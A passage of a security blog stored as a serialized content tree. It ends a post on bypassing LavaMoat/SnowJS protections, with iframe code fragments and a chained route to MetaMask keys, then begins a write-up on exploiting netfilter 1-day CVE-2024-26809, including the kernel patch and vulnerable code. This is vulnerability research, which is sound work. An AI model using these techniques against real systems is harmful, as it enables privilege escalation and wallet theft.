autofocus>\u003C/div>\"",{"type":25,"tag":271,"props":63344,"children":63345},{"style":13625},[63346],{"type":30,"value":16165},{"type":25,"tag":271,"props":63348,"children":63349},{"class":13593,"line":11641},[63350,63354,63358,63362,63366,63371,63375,63380],{"type":25,"tag":271,"props":63351,"children":63352},{"style":13598},[63353],{"type":30,"value":45820},{"type":25,"tag":271,"props":63355,"children":63356},{"style":13625},[63357],{"type":30,"value":1860},{"type":25,"tag":271,"props":63359,"children":63360},{"style":13620},[63361],{"type":30,"value":48108},{"type":25,"tag":271,"props":63363,"children":63364},{"style":13625},[63365],{"type":30,"value":394},{"type":25,"tag":271,"props":63367,"children":63368},{"style":17388},[63369],{"type":30,"value":63370},"'test'",{"type":25,"tag":271,"props":63372,"children":63373},{"style":13625},[63374],{"type":30,"value":13677},{"type":25,"tag":271,"props":63376,"children":63377},{"style":13620},[63378],{"type":30,"value":63379},"focus",{"type":25,"tag":271,"props":63381,"children":63382},{"style":13625},[63383],{"type":30,"value":16820},{"type":25,"tag":271,"props":63385,"children":63386},{"class":13593,"line":14354},[63387,63391,63395,63399,63403,63407,63411,63415,63419,63423],{"type":25,"tag":271,"props":63388,"children":63389},{"style":13598},[63390],{"type":30,"value":45820},{"type":25,"tag":271,"props":63392,"children":63393},{"style":13625},[63394],{"type":30,"value":1860},{"type":25,"tag":271,"props":63396,"children":63397},{"style":13620},[63398],{"type":30,"value":63232},{"type":25,"tag":271,"props":63400,"children":63401},{"style":13625},[63402],{"type":30,"value":394},{"type":25,"tag":271,"props":63404,"children":63405},{"style":17388},[63406],{"type":30,"value":63241},{"type":25,"tag":271,"props":63408,"children":63409},{"style":13625},[63410],{"type":30,"value":44},{"type":25,"tag":271,"props":63412,"children":63413},{"style":14289},[63414],{"type":30,"value":21296},{"type":25,"tag":271,"props":63416,"children":63417},{"style":13625},[63418],{"type":30,"value":44},{"type":25,"tag":271,"props":63420,"children":63421},{"style":17388},[63422],{"type":30,"value":63258},{"type":25,"tag":271,"props":63424,"children":63425},{"style":13625},[63426],{"type":30,"value":13665},{"type":25,"tag":271,"props":63428,"children":63429},{"class":13593,"line":14391},[63430,63434,63438,63443,63447,63451,63456,63460,63465,63470,63474,63478,63482,63486,63490,63494],{"type":25,"tag":271,"props":63431,"children":63432},{"style":13598},[63433],{"type":30,"value":45820},{"type":25,"tag":271,"props":63435,"children":63436},{"style":13625},[63437],{"type":30,"value":1860},{"type":25,"tag":271,"props":63439,"children":63440},{"style":13620},[63441],{"type":30,"value":63442},"getElementsByTagName",{"type":25,"tag":271,"props":63444,"children":63445},{"style":13625},[63446],{"type":30,"value":394},{"type":25,"tag":271,"props":63448,"children":63449},{"style":17388},[63450],{"type":30,"value":49842},{"type":25,"tag":271,"props":63452,"children":63453},{"style":13625},[63454],{"type":30,"value":63455},")[",{"type":25,"tag":271,"props":63457,"children":63458},{"style":16187},[63459],{"type":30,"value":953},{"type":25,"tag":271,"props":63461,"children":63462},{"style":13625},[63463],{"type":30,"value":63464},"].",{"type":25,"tag":271,"props":63466,"children":63467},{"style":13598},[63468],{"type":30,"value":63469},"contentWindow",{"type":25,"tag":271,"props":63471,"children":63472},{"style":13625},[63473],{"type":30,"value":1860},{"type":25,"tag":271,"props":63475,"children":63476},{"style":13620},[63477],{"type":30,"value":45810},{"type":25,"tag":271,"props":63479,"children":63480},{"style":13625},[63481],{"type":30,"value":394},{"type":25,"tag":271,"props":63483,"children":63484},{"style":13598},[63485],{"type":30,"value":45820},{"type":25,"tag":271,"props":63487,"children":63488},{"style":13625},[63489],{"type":30,"value":1860},{"type":25,"tag":271,"props":63491,"children":63492},{"style":13598},[63493],{"type":30,"value":45830},{"type":25,"tag":271,"props":63495,"children":63496},{"style":13625},[63497],{"type":30,"value":13665},{"type":25,"tag":247,"props":63499,"children":63501},{"id":63500},"snowjs-patch",[63502],{"type":30,"value":63503},"SnowJS Patch",{"type":25,"tag":26,"props":63505,"children":63506},{},[63507,63509,63516,63518,63525],{"type":30,"value":63508},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":25,"tag":83,"props":63510,"children":63513},{"href":63511,"rel":63512},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[9066],[63514],{"type":30,"value":63515},"browser feature within W3C standards",{"type":30,"value":63517},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":25,"tag":83,"props":63519,"children":63522},{"href":63520,"rel":63521},"https://github.com/weizman/Realms-Initialization-Control",[9066],[63523],{"type":30,"value":63524},"Here",{"type":30,"value":63526}," is their new proposal.",{"type":25,"tag":96,"props":63528,"children":63530},{"id":63529},"chaining-the-impacts",[63531],{"type":30,"value":63532},"Chaining The Impacts",{"type":25,"tag":26,"props":63534,"children":63535},{},[63536],{"type":30,"value":63537},"We were able to find two vulnerabilities in lavamoat project:",{"type":25,"tag":661,"props":63539,"children":63540},{},[63541,63546],{"type":25,"tag":112,"props":63542,"children":63543},{},[63544],{"type":30,"value":63545},"Policy File Bypass",{"type":25,"tag":112,"props":63547,"children":63548},{},[63549],{"type":30,"value":63550},"Scuttling Bypass",{"type":25,"tag":26,"props":63552,"children":63553},{},[63554],{"type":30,"value":63555},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":25,"tag":26,"props":63557,"children":63558},{},[63559],{"type":30,"value":63560},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":25,"tag":96,"props":63562,"children":63563},{"id":42044},[63564],{"type":30,"value":32068},{"type":25,"tag":26,"props":63566,"children":63567},{},[63568],{"type":30,"value":63569},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":25,"tag":44458,"props":63571,"children":63572},{"style":44460},[63573],{"type":25,"tag":698,"props":63574,"children":63577},{"src":63575,"alt":63576,"style":44466},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":25,"tag":31544,"props":63579,"children":63581},{"className":63580,"dataFootnotes":7},[31547],[63582,63587],{"type":25,"tag":96,"props":63583,"children":63585},{"className":63584,"id":28602},[31552],[63586],{"type":30,"value":31555},{"type":25,"tag":661,"props":63588,"children":63589},{},[63590],{"type":25,"tag":112,"props":63591,"children":63592},{"id":43478},[63593,63595,63602,63603],{"type":30,"value":63594},"Excluding SES, which was covered ",{"type":25,"tag":83,"props":63596,"children":63599},{"href":63597,"rel":63598},"https://osec.io/blog/2023-11-01-metamask-snaps",[9066],[63600],{"type":30,"value":63601},"in our last article",{"type":30,"value":14096},{"type":25,"tag":83,"props":63604,"children":63606},{"href":43506,"ariaLabel":31657,"className":63605,"dataFootnoteBackref":7},[31659],[63607],{"type":30,"value":31662},{"type":25,"tag":15963,"props":63609,"children":63610},{},[63611],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":63613},[63614,63618,63624,63630,63631,63632],{"id":32077,"depth":11641,"text":32080,"children":63615},[63616,63617],{"id":42127,"depth":14354,"text":42130},{"id":60236,"depth":14354,"text":60239},{"id":60992,"depth":11641,"text":60995,"children":63619},[63620,63621,63622,63623],{"id":61243,"depth":14354,"text":61246},{"id":61718,"depth":14354,"text":61721},{"id":62375,"depth":14354,"text":62378},{"id":62498,"depth":14354,"text":62501},{"id":62616,"depth":11641,"text":62619,"children":63625},[63626,63627,63628,63629],{"id":62743,"depth":14354,"text":62746},{"id":63105,"depth":14354,"text":63108},{"id":63265,"depth":14354,"text":63268},{"id":63500,"depth":14354,"text":63503},{"id":63529,"depth":11641,"text":63532},{"id":42044,"depth":11641,"text":32068},{"id":28602,"depth":11641,"text":31555},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":63637,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":63638,"description":63639,"author":63640,"image":63641,"date":63643,"isFeatured":18,"tags":63644,"onBlogPage":18,"body":63647,"_type":16004,"_id":74026,"_source":16006,"_file":74027,"_stem":74028,"_extension":16009},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":63642,"height":22388,"width":18855},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[63645,63646],"kernal","linux",{"type":22,"children":63648,"toc":73994},[63649,63662,63676,63681,63687,63697,63702,63708,63713,63731,63745,63754,63787,63792,63798,63817,63850,63856,63869,64079,64146,64710,64729,64954,65013,65019,65039,65079,65267,65272,65423,65479,65484,65998,66017,66286,66312,66821,66888,66894,66930,66935,67201,67234,67246,67273,67285,67290,67296,67317,67323,67344,67367,68199,68205,68245,68785,68796,68830,68896,68950,69182,69188,69232,69695,69701,69712,69742,69825,69830,69835,69871,69923,69954,70509,70515,70532,70538,70543,70549,70577,70770,70790,70806,71401,71407,71442,71465,71477,71483,71511,72108,72133,73102,73113,73126,73139,73905,73919,73925,73937,73943,73971,73976,73980,73985,73990],{"type":25,"tag":26,"props":63650,"children":63651},{},[63652,63654,63661],{"type":30,"value":63653},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":25,"tag":83,"props":63655,"children":63658},{"href":63656,"rel":63657},"https://google.github.io/security-research/kernelctf/rules.html",[9066],[63659],{"type":30,"value":63660},"KernelCTF VRP",{"type":30,"value":1860},{"type":25,"tag":26,"props":63663,"children":63664},{},[63665,63667,63674],{"type":30,"value":63666},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":25,"tag":83,"props":63668,"children":63671},{"href":63669,"rel":63670},"https://github.com/conlonialC",[9066],[63672],{"type":30,"value":63673},"lonial con",{"type":30,"value":63675},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":25,"tag":26,"props":63677,"children":63678},{},[63679],{"type":30,"value":63680},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":25,"tag":96,"props":63682,"children":63684},{"id":63683},"the-kernel",[63685],{"type":30,"value":63686},"The kernel",{"type":25,"tag":26,"props":63688,"children":63689},{},[63690,63692],{"type":30,"value":63691},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":25,"tag":698,"props":63693,"children":63696},{"alt":63694,"src":63695},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":25,"tag":26,"props":63698,"children":63699},{},[63700],{"type":30,"value":63701},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":25,"tag":247,"props":63703,"children":63705},{"id":63704},"kernel-exploitation",[63706],{"type":30,"value":63707},"Kernel exploitation",{"type":25,"tag":26,"props":63709,"children":63710},{},[63711],{"type":30,"value":63712},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":25,"tag":108,"props":63714,"children":63715},{},[63716,63721,63726],{"type":25,"tag":112,"props":63717,"children":63718},{},[63719],{"type":30,"value":63720},"Trigger some memory corruption in some kernel subsystem",{"type":25,"tag":112,"props":63722,"children":63723},{},[63724],{"type":30,"value":63725},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":25,"tag":112,"props":63727,"children":63728},{},[63729],{"type":30,"value":63730},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":25,"tag":26,"props":63732,"children":63733},{},[63734,63736,63743],{"type":30,"value":63735},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":25,"tag":83,"props":63737,"children":63740},{"href":63738,"rel":63739},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[9066],[63741],{"type":30,"value":63742},"blog post",{"type":30,"value":63744}," to become more familiar with the topic.",{"type":25,"tag":96,"props":63746,"children":63748},{"id":63747},"nf_tables",[63749],{"type":25,"tag":264,"props":63750,"children":63752},{"className":63751},[],[63753],{"type":30,"value":63747},{"type":25,"tag":26,"props":63755,"children":63756},{},[63757,63762,63764,63770,63771,63777,63779,63785],{"type":25,"tag":264,"props":63758,"children":63760},{"className":63759},[],[63761],{"type":30,"value":63747},{"type":30,"value":63763}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":25,"tag":83,"props":63765,"children":63768},{"href":63766,"rel":63767},"https://pwning.tech/nftables",[9066],[63769],{"type":30,"value":968},{"type":30,"value":44},{"type":25,"tag":83,"props":63772,"children":63775},{"href":63773,"rel":63774},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[9066],[63776],{"type":30,"value":1326},{"type":30,"value":63778},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":25,"tag":264,"props":63780,"children":63782},{"className":63781},[],[63783],{"type":30,"value":63784},"nf_table",{"type":30,"value":63786}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":25,"tag":26,"props":63788,"children":63789},{},[63790],{"type":30,"value":63791},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":25,"tag":247,"props":63793,"children":63795},{"id":63794},"transactions",[63796],{"type":30,"value":63797},"Transactions",{"type":25,"tag":26,"props":63799,"children":63800},{},[63801,63803,63808,63810,63815],{"type":30,"value":63802},"A transaction is an interaction that updates ",{"type":25,"tag":264,"props":63804,"children":63806},{"className":63805},[],[63807],{"type":30,"value":63747},{"type":30,"value":63809}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":25,"tag":264,"props":63811,"children":63813},{"className":63812},[],[63814],{"type":30,"value":63747},{"type":30,"value":63816}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":25,"tag":108,"props":63818,"children":63819},{},[63820,63830,63840],{"type":25,"tag":112,"props":63821,"children":63822},{},[63823,63828],{"type":25,"tag":38,"props":63824,"children":63825},{},[63826],{"type":30,"value":63827},"Control plane",{"type":30,"value":63829},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":25,"tag":112,"props":63831,"children":63832},{},[63833,63838],{"type":25,"tag":38,"props":63834,"children":63835},{},[63836],{"type":30,"value":63837},"Commit path",{"type":30,"value":63839},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":25,"tag":112,"props":63841,"children":63842},{},[63843,63848],{"type":25,"tag":38,"props":63844,"children":63845},{},[63846],{"type":30,"value":63847},"Abort path",{"type":30,"value":63849},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":25,"tag":96,"props":63851,"children":63853},{"id":63852},"vulnerability-details",[63854],{"type":30,"value":63855},"Vulnerability details",{"type":25,"tag":26,"props":63857,"children":63858},{},[63859,63861,63867],{"type":30,"value":63860},"Moving on, let's check out the ",{"type":25,"tag":83,"props":63862,"children":63865},{"href":63863,"rel":63864},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[9066],[63866],{"type":30,"value":17356},{"type":30,"value":63868}," that fixed the bug.",{"type":25,"tag":7764,"props":63870,"children":63872},{"className":53471,"code":63871,"language":53473,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[63873],{"type":25,"tag":264,"props":63874,"children":63875},{"__ignoreMap":7},[63876,63884,63892,63900,63908,63916,63923,63931,63938,63946,63954,63962,63970,63978,63986,63994,64002,64010,64018,64026,64033,64041,64049,64057,64064,64071],{"type":25,"tag":271,"props":63877,"children":63878},{"class":13593,"line":13594},[63879],{"type":25,"tag":271,"props":63880,"children":63881},{"style":14289},[63882],{"type":30,"value":63883},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":271,"props":63885,"children":63886},{"class":13593,"line":11641},[63887],{"type":25,"tag":271,"props":63888,"children":63889},{"style":13625},[63890],{"type":30,"value":63891},"index c0ceea068936a6..df8de509024637 100644\n",{"type":25,"tag":271,"props":63893,"children":63894},{"class":13593,"line":14354},[63895],{"type":25,"tag":271,"props":63896,"children":63897},{"style":14289},[63898],{"type":30,"value":63899},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":271,"props":63901,"children":63902},{"class":13593,"line":14391},[63903],{"type":25,"tag":271,"props":63904,"children":63905},{"style":14289},[63906],{"type":30,"value":63907},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":271,"props":63909,"children":63910},{"class":13593,"line":14400},[63911],{"type":25,"tag":271,"props":63912,"children":63913},{"style":13625},[63914],{"type":30,"value":63915},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":271,"props":63917,"children":63918},{"class":13593,"line":16406},[63919],{"type":25,"tag":271,"props":63920,"children":63921},{"emptyLinePlaceholder":18},[63922],{"type":30,"value":16829},{"type":25,"tag":271,"props":63924,"children":63925},{"class":13593,"line":16434},[63926],{"type":25,"tag":271,"props":63927,"children":63928},{"style":13625},[63929],{"type":30,"value":63930},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":25,"tag":271,"props":63932,"children":63933},{"class":13593,"line":16447},[63934],{"type":25,"tag":271,"props":63935,"children":63936},{"emptyLinePlaceholder":18},[63937],{"type":30,"value":16829},{"type":25,"tag":271,"props":63939,"children":63940},{"class":13593,"line":16465},[63941],{"type":25,"tag":271,"props":63942,"children":63943},{"style":13625},[63944],{"type":30,"value":63945},"  if (m) {\n",{"type":25,"tag":271,"props":63947,"children":63948},{"class":13593,"line":16486},[63949],{"type":25,"tag":271,"props":63950,"children":63951},{"style":13625},[63952],{"type":30,"value":63953},"   rcu_barrier();\n",{"type":25,"tag":271,"props":63955,"children":63956},{"class":13593,"line":16495},[63957],{"type":25,"tag":271,"props":63958,"children":63959},{"style":13625},[63960],{"type":30,"value":63961}," \n",{"type":25,"tag":271,"props":63963,"children":63964},{"class":13593,"line":16744},[63965],{"type":25,"tag":271,"props":63966,"children":63967},{"style":17388},[63968],{"type":30,"value":63969},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":271,"props":63971,"children":63972},{"class":13593,"line":16761},[63973],{"type":25,"tag":271,"props":63974,"children":63975},{"style":17388},[63976],{"type":30,"value":63977},"-\n",{"type":25,"tag":271,"props":63979,"children":63980},{"class":13593,"line":16778},[63981],{"type":25,"tag":271,"props":63982,"children":63983},{"style":13625},[63984],{"type":30,"value":63985},"   for_each_possible_cpu(cpu)\n",{"type":25,"tag":271,"props":63987,"children":63988},{"class":13593,"line":16791},[63989],{"type":25,"tag":271,"props":63990,"children":63991},{"style":13625},[63992],{"type":30,"value":63993},"    pipapo_free_scratch(m, cpu);\n",{"type":25,"tag":271,"props":63995,"children":63996},{"class":13593,"line":16800},[63997],{"type":25,"tag":271,"props":63998,"children":63999},{"style":13625},[64000],{"type":30,"value":64001},"   free_percpu(m->scratch);\n",{"type":25,"tag":271,"props":64003,"children":64004},{"class":13593,"line":16823},[64005],{"type":25,"tag":271,"props":64006,"children":64007},{"style":13625},[64008],{"type":30,"value":64009},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":271,"props":64011,"children":64012},{"class":13593,"line":16832},[64013],{"type":25,"tag":271,"props":64014,"children":64015},{"style":13625},[64016],{"type":30,"value":64017},"  if (priv->clone) {\n",{"type":25,"tag":271,"props":64019,"children":64020},{"class":13593,"line":16841},[64021],{"type":25,"tag":271,"props":64022,"children":64023},{"style":13625},[64024],{"type":30,"value":64025},"   m = priv->clone;\n",{"type":25,"tag":271,"props":64027,"children":64028},{"class":13593,"line":16907},[64029],{"type":25,"tag":271,"props":64030,"children":64031},{"style":13625},[64032],{"type":30,"value":63961},{"type":25,"tag":271,"props":64034,"children":64035},{"class":13593,"line":16915},[64036],{"type":25,"tag":271,"props":64037,"children":64038},{"style":17388},[64039],{"type":30,"value":64040},"-  if (priv->dirty)\n",{"type":25,"tag":271,"props":64042,"children":64043},{"class":13593,"line":16945},[64044],{"type":25,"tag":271,"props":64045,"children":64046},{"style":17388},[64047],{"type":30,"value":64048},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":271,"props":64050,"children":64051},{"class":13593,"line":16953},[64052],{"type":25,"tag":271,"props":64053,"children":64054},{"style":16187},[64055],{"type":30,"value":64056},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":271,"props":64058,"children":64059},{"class":13593,"line":16984},[64060],{"type":25,"tag":271,"props":64061,"children":64062},{"style":13625},[64063],{"type":30,"value":63961},{"type":25,"tag":271,"props":64065,"children":64066},{"class":13593,"line":16992},[64067],{"type":25,"tag":271,"props":64068,"children":64069},{"style":13625},[64070],{"type":30,"value":63985},{"type":25,"tag":271,"props":64072,"children":64073},{"class":13593,"line":17052},[64074],{"type":25,"tag":271,"props":64075,"children":64076},{"style":13625},[64077],{"type":30,"value":64078},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":25,"tag":26,"props":64080,"children":64081},{},[64082,64084,64090,64091,64097,64099,64105,64107,64113,64115,64120,64122,64128,64130,64136,64138,64144],{"type":30,"value":64083},"If the ",{"type":25,"tag":264,"props":64085,"children":64087},{"className":64086},[],[64088],{"type":30,"value":64089},"priv->dirty",{"type":30,"value":12218},{"type":25,"tag":264,"props":64092,"children":64094},{"className":64093},[],[64095],{"type":30,"value":64096},"priv->clone",{"type":30,"value":64098}," variables are set, ",{"type":25,"tag":264,"props":64100,"children":64102},{"className":64101},[],[64103],{"type":30,"value":64104},"nft_set_pipapo_match_destroy()",{"type":30,"value":64106}," is called twice, once with ",{"type":25,"tag":264,"props":64108,"children":64110},{"className":64109},[],[64111],{"type":30,"value":64112},"priv->match",{"type":30,"value":64114}," as an argument, and then again with ",{"type":25,"tag":264,"props":64116,"children":64118},{"className":64117},[],[64119],{"type":30,"value":64096},{"type":30,"value":64121},". Looking at what this function does, we can see that it is iterating over the ",{"type":25,"tag":264,"props":64123,"children":64125},{"className":64124},[],[64126],{"type":30,"value":64127},"setelem",{"type":30,"value":64129},"s of the ",{"type":25,"tag":264,"props":64131,"children":64133},{"className":64132},[],[64134],{"type":30,"value":64135},"set",{"type":30,"value":64137}," and calling ",{"type":25,"tag":264,"props":64139,"children":64141},{"className":64140},[],[64142],{"type":30,"value":64143},"nf_tables_set_elem_destroy()",{"type":30,"value":64145}," for each of them.",{"type":25,"tag":7764,"props":64147,"children":64149},{"className":29637,"code":64148,"language":13243,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[64150],{"type":25,"tag":264,"props":64151,"children":64152},{"__ignoreMap":7},[64153,64200,64228,64254,64261,64282,64295,64302,64399,64407,64414,64469,64490,64497,64600,64612,64619,64655,64662,64696,64703],{"type":25,"tag":271,"props":64154,"children":64155},{"class":13593,"line":13594},[64156,64161,64166,64171,64175,64179,64183,64188,64192,64196],{"type":25,"tag":271,"props":64157,"children":64158},{"style":14289},[64159],{"type":30,"value":64160},"static",{"type":25,"tag":271,"props":64162,"children":64163},{"style":14289},[64164],{"type":30,"value":64165}," void",{"type":25,"tag":271,"props":64167,"children":64168},{"style":13620},[64169],{"type":30,"value":64170}," nft_set_pipapo_match_destroy",{"type":25,"tag":271,"props":64172,"children":64173},{"style":13625},[64174],{"type":30,"value":394},{"type":25,"tag":271,"props":64176,"children":64177},{"style":14289},[64178],{"type":30,"value":22778},{"type":25,"tag":271,"props":64180,"children":64181},{"style":14289},[64182],{"type":30,"value":34271},{"type":25,"tag":271,"props":64184,"children":64185},{"style":13625},[64186],{"type":30,"value":64187}," nft_ctx ",{"type":25,"tag":271,"props":64189,"children":64190},{"style":13603},[64191],{"type":30,"value":17702},{"type":25,"tag":271,"props":64193,"children":64194},{"style":13598},[64195],{"type":30,"value":33401},{"type":25,"tag":271,"props":64197,"children":64198},{"style":13625},[64199],{"type":30,"value":14351},{"type":25,"tag":271,"props":64201,"children":64202},{"class":13593,"line":11641},[64203,64207,64211,64216,64220,64224],{"type":25,"tag":271,"props":64204,"children":64205},{"style":14289},[64206],{"type":30,"value":44659},{"type":25,"tag":271,"props":64208,"children":64209},{"style":14289},[64210],{"type":30,"value":34271},{"type":25,"tag":271,"props":64212,"children":64213},{"style":13625},[64214],{"type":30,"value":64215}," nft_set ",{"type":25,"tag":271,"props":64217,"children":64218},{"style":13603},[64219],{"type":30,"value":17702},{"type":25,"tag":271,"props":64221,"children":64222},{"style":13598},[64223],{"type":30,"value":64135},{"type":25,"tag":271,"props":64225,"children":64226},{"style":13625},[64227],{"type":30,"value":14351},{"type":25,"tag":271,"props":64229,"children":64230},{"class":13593,"line":14354},[64231,64236,64241,64245,64250],{"type":25,"tag":271,"props":64232,"children":64233},{"style":14289},[64234],{"type":30,"value":64235},"      struct",{"type":25,"tag":271,"props":64237,"children":64238},{"style":13625},[64239],{"type":30,"value":64240}," nft_pipapo_match ",{"type":25,"tag":271,"props":64242,"children":64243},{"style":13603},[64244],{"type":30,"value":17702},{"type":25,"tag":271,"props":64246,"children":64247},{"style":13598},[64248],{"type":30,"value":64249},"m",{"type":25,"tag":271,"props":64251,"children":64252},{"style":13625},[64253],{"type":30,"value":16299},{"type":25,"tag":271,"props":64255,"children":64256},{"class":13593,"line":14391},[64257],{"type":25,"tag":271,"props":64258,"children":64259},{"style":13625},[64260],{"type":30,"value":24005},{"type":25,"tag":271,"props":64262,"children":64263},{"class":13593,"line":14400},[64264,64268,64273,64277],{"type":25,"tag":271,"props":64265,"children":64266},{"style":14289},[64267],{"type":30,"value":34271},{"type":25,"tag":271,"props":64269,"children":64270},{"style":13625},[64271],{"type":30,"value":64272}," nft_pipapo_field ",{"type":25,"tag":271,"props":64274,"children":64275},{"style":13603},[64276],{"type":30,"value":17702},{"type":25,"tag":271,"props":64278,"children":64279},{"style":13625},[64280],{"type":30,"value":64281},"f;\n",{"type":25,"tag":271,"props":64283,"children":64284},{"class":13593,"line":16406},[64285,64290],{"type":25,"tag":271,"props":64286,"children":64287},{"style":14289},[64288],{"type":30,"value":64289}," int",{"type":25,"tag":271,"props":64291,"children":64292},{"style":13625},[64293],{"type":30,"value":64294}," i, r;\n",{"type":25,"tag":271,"props":64296,"children":64297},{"class":13593,"line":16434},[64298],{"type":25,"tag":271,"props":64299,"children":64300},{"emptyLinePlaceholder":18},[64301],{"type":30,"value":16829},{"type":25,"tag":271,"props":64303,"children":64304},{"class":13593,"line":16447},[64305,64310,64315,64319,64323,64328,64332,64337,64341,64345,64350,64354,64358,64362,64367,64372,64376,64381,64386,64391,64395],{"type":25,"tag":271,"props":64306,"children":64307},{"style":16171},[64308],{"type":30,"value":64309}," for",{"type":25,"tag":271,"props":64311,"children":64312},{"style":13625},[64313],{"type":30,"value":64314}," (i 